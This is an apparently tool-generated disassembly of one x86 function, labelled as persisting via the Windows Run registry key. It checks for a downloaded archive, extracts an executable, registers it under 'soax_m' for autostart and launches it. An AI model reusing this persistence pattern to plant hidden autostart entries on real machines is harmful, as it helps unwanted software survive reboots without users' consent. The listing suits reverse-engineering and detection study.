Function at 0x5a9e3e
Capabilities:
Persist via run registry key

Disassembly:
push 0x144
mov eax, 0x6525d5
call fcn.00626aed
mov esi, ecx
lea eax, [ebp - 0xd0]
push eax
call fcn.005a99aa
push dword [esi + 0x64]
lea eax, [ebp - 0x88]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call fcn.005a8bfb
push dword [esi + 0x64]
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 1
push eax
call fcn.005a8c2e
add esp, 0x10
lea eax, [ebp - 0x70]
mov byte [ebp - 4], 2
push eax
mov ecx, esi
call fcn.005a9c59
lea eax, [esi + 4]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0xa0]
push eax
call fcn.005a917d
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 4
push eax
call fcn.005b5659
add esp, 0x10
test al, al
jne 0x5a9ee9
push str.downloaded_arch_not_found
lea ecx, [ebp - 0x40]
mov byte [esi + 0x4a], 1
call fcn.00448670
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 5
push eax
mov ecx, esi
call fcn.005a708b
mov byte [ebp - 4], 6
jmp 0x5a9f3f
cmp dword [ebp - 0x48], 0
jne 0x5a9f15
push str.no_setting:_dest_exe
lea ecx, [ebp - 0x40]
mov byte [esi + 0x4a], 1
call fcn.00448670
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 7
push eax
mov ecx, esi
call fcn.005a708b
mov byte [ebp - 4], 8
jmp 0x5a9f3f
cmp dword [ebp - 0x78], 0
jne 0x5a9f60
push str.no_setting:_dest_dir
lea ecx, [ebp - 0x40]
mov byte [esi + 0x4a], 1
call fcn.00448670
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 9
push eax
mov ecx, esi
call fcn.005a708b
mov byte [ebp - 4], 0xa
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.005c0a7d
pop ecx
pop ecx
lea ecx, [ebp - 0x28]
call fcn.00448620
lea ecx, [ebp - 0x40]
call fcn.00448620
jmp 0x5aa1ba
lea ecx, [ebp - 0x150]
call fcn.005a0ae0
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 0xb
push eax
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x150]
call fcn.005a3d05
jmp 0x5a9f92
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp - 0x130], 0
jne 0x5a9f8a
cmp byte [ebp - 0x12f], 0
je 0x5a9fcb
lea eax, [ebp - 0x28]
mov byte [esi + 0x4a], 1
push eax
mov ecx, esi
call fcn.005a708b
push eax
lea eax, [ebp - 0x12c]
mov byte [ebp - 4], 0xc
push eax
call fcn.005c0a7d
pop ecx
pop ecx
jmp 0x5aa1a3
lea eax, [ebp - 0x58]
push eax
call fcn.005b5659
pop ecx
test al, al
jne 0x5aa019
push str.no_dest_exe_after_extract
lea ecx, [ebp - 0x40]
mov byte [esi + 0x4a], 1
call fcn.00448670
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 0xd
push eax
mov ecx, esi
call fcn.005a708b
push eax
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 0xe
push eax
call fcn.005c0a7d
pop ecx
pop ecx
lea ecx, [ebp - 0x28]
call fcn.00448620
lea ecx, [ebp - 0x40]
jmp 0x5aa1a6
cmp byte [esi + 0x1c], 0
je 0x5aa06e
push str.soax_m
lea ecx, [ebp - 0x28]
call fcn.00448670
push str.SoftwareMicrosoftWindowsCurrentVersionRun
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0xf
call fcn.00448670
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 0x10
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x40]
push eax
push reloc.WS2_32.dll_accept
call fcn.005b72fb
add esp, 0x10
lea ecx, [ebp - 0x40]
call fcn.00448620
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xb
call fcn.00448620
cmp byte [esi + 0x1d], 0
je 0x5aa0a9
lea eax, [ebp - 0x58]
push eax
call fcn.005ba412
pop ecx
test al, al
jne 0x5aa0a9
lea eax, [ebp - 0x28]
mov ecx, esi
push eax
call fcn.005a708b
push eax
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 0x11
push eax
call fcn.005b9a46
pop ecx
pop ecx
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xb
call fcn.00448620
mov ecx, esi
call fcn.005aabbe
test al, al
je 0x5aa14e
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0xb8]
push 0x6d4c18
push eax
call fcn.005a01c7
push 0x65bd8c
push eax
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 0x12
push eax
call fcn.005a015e
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0x13
push ecx
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.005a0135
add esp, 0x24
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0x14
push ecx
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.005a4aaa
mov ecx, eax
call fcn.005a4eb2
neg al
lea ecx, [ebp - 0x28]
sbb al, al
inc al
mov byte [esi + 0x4a], al
call fcn.00448620
lea ecx, [ebp - 0x40]
call fcn.00448620
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 0xb
call fcn.00448620
mov al, byte [esi + 0x4a]
test al, al
je 0x5aa1ad
call fcn.005d2adb
push dword [eax + 0x4c]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.005b76a0
test eax, eax
pop ecx
sete al
mov byte [esi + 0x4a], al
pop ecx
test al, al
je 0x5aa1ad
push str.cant_launch_extracted_exe
lea ecx, [ebp - 0x28]
call fcn.00448670
lea eax, [ebp - 0xb8]
mov byte [ebp - 4], 0x15
push eax
mov ecx, esi
call fcn.005a708b
push eax
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 0x16
push eax
call fcn.005c0a7d
pop ecx
pop ecx
lea ecx, [ebp - 0xb8]
call fcn.00448620
lea ecx, [ebp - 0x28]
call fcn.00448620
jmp 0x5aa1af
mov bl, 1
lea ecx, [ebp - 0x150]
call fcn.005a0f47
lea ecx, [ebp - 0xa0]
call fcn.00448620
lea ecx, [ebp - 0x70]
call fcn.00448620
lea ecx, [ebp - 0x58]
call fcn.00448620
lea ecx, [ebp - 0x88]
call fcn.00448620
lea ecx, [ebp - 0xd0]
call fcn.00448620
mov al, bl
call fcn.00626a9c
ret